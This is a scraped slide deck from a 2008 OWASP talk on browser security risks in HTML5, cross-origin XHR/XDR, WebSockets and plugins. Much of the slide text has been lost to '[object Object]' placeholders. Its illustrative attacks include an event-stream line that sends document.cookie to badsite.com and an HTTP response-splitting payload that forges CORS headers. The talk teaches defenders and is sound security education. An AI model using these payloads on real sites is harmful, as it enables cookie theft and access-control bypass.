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OWASP – Browser Security Roberto Suggi Liverani Security Consultant Security-Assessment.com 3 September 2008
Who am I? ,[object Object],[object Object],[object Object],[object Object]
Agenda ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Introduction ,[object Object],[object Object]
Introduction ,[object Object],[object Object]
Introduction ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Next Challenges ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
HMTL5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],y.hello.com x.hello.com XSS Injection document.domain = hello.com Communication between 2 subdomains through XSS
HTML5 ,[object Object],[object Object],[object Object],[object Object],Malicious Third party 3.COM (b) Iframe injection src=2.COM 1.COM (vulnerable) Cross Context Scripting between 2.COM and 3.COM (a) Injection in 1.COM of document.open pointing to 3.COM
HTML5 ,[object Object],[object Object],[object Object],A.COM B.COM ,[object Object],[object Object],Test.foo served as text/foo redirection to: http://a.com/foo?url=b.com/test.foo
HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object]
HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],A.COM B.COM var o = document.getElementsByTagName('iframe')[0]; o.contentWindow.postMessage('Hello world', 'http://b.com/'); NOTE: this condition can be omitted or = *
HTML5 ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],<eventsource> data: http://www.google.com/news/1 data: http://www.yahoo/com/news/3 data: http://bbc.co.uk/news/2 EventStream PULLS
HTML5 ,[object Object],BOTNET badsite.com/evil.php ,[object Object],[object Object],Data Stream (MIME: text/event-stream) Data: wait(); Data: wait(); Data: document.write(<img src=‘http://badsite.com/’+document.cookie); Botnet operates following XHR access control for data exchange
HTML5 ,[object Object],[object Object],Client at 123.com Server at aa.com GET ws://aa.com/ HTTP/1.1 Upgrade: WebSocket Connection: Upgrade Host: 123.com Origin: http://123.com Authorization: Basic d2FsbGU6ZXZl HTTP/1.1 101 Web Socket Protocol Handshake Upgrade: WebSocket Connection: Upgrade WebSocket-Origin: http://aa.com WebSocket-Location: ws://aa.com:80/ Data Framing Read/send data byte per byte Data Framing Send/read raw UTF8 data byte per byte Close TCP/IP connection – no handshake Close TCP/IP connection – no handshake
WebApps (XHR) ,[object Object],Resource: aaa.com/test.txt Client: bbb.com JavaScript + XHR: new client = new XMLHttpRequest(); client.open(&quot;GET or POST&quot;, &quot;http://aaa.com/test.txt&quot;) client.onreadystatechange = function() { /* do something */ } client.send() HTTP Response: Access-Control-Allow-Origin: http://bbb.com Hello World! GET NOTE: the entire access control system relies on HTTP headers So what happens with an HTTP Splitting Attack? JavaScript + XHR: new client = new XMLHttpRequest(); client.open(&quot;GET or POST&quot;, &quot;http://aaa.com/test.txt %0A%0DAccess-Control-Allow-Origin: http://bbb.com%0a%0d%0a%0d &quot;) client.onreadystatechange = function() { /* do something */ } client.send()
WebApps (XHR) ,[object Object],Resource: aaa.com/test.txt Client: bbb.com JavaScript + XHR: new client = new XMLHttpRequest(); client.open(“OPTIONS&quot;, &quot;http://aaa.com/test.txt&quot;) client.onreadystatechange = function() { /* do something */ } client.send() HTTP Response: Access-Control-Allow-Origin: http://bbb.com Access-Control-Max-Age: 3628800 Preflight Request: OPTIONS JavaScript + XHR: new client = new XMLHttpRequest(); client.open(“DELETE&quot;, &quot;http://aaa.com/test.txt&quot;) client.onreadystatechange = function() { /* do something */ } client.send() DELETE NOTE: the entire access control system relies on HTTP headers
XHR Alternative – XDR (Xdomain Request) ,[object Object],Resource: aaa.com/xdr.txt Client: bbb.com JavaScript + XDR: xdr = new XDomainRequest(); xdr.open(“GET&quot;, “http://www.aaa.com/xdr.txt&quot;) HTTP Response: XDomainRequestAllowed=1 Hello! GET HTTP Request: GET /xdr.txt XDomainRequest: 1 Host: bbb.com NOTE: the entire XDR relies on HTTP headers
Browser Plugins ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Browser Plugins ,[object Object],[object Object],[object Object],test.addEventListener(MouseEvent.CLICK, downloadFile); var fileRef:FileReference = new FileReference(); function downloadFile(event:MouseEvent):void { fileRef.download(new URLRequest(&quot;http://www.aaa.com/file.html&quot;), “file.html&quot;); }
OWASP Intrinsic Group ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Questions? ,[object Object],[object Object],[object Object]
References ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
References ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]

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Browser Security

  • 1. OWASP – Browser Security Roberto Suggi Liverani Security Consultant Security-Assessment.com 3 September 2008
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Editor's Notes

  1. Updateready-&gt; application cache is not the newest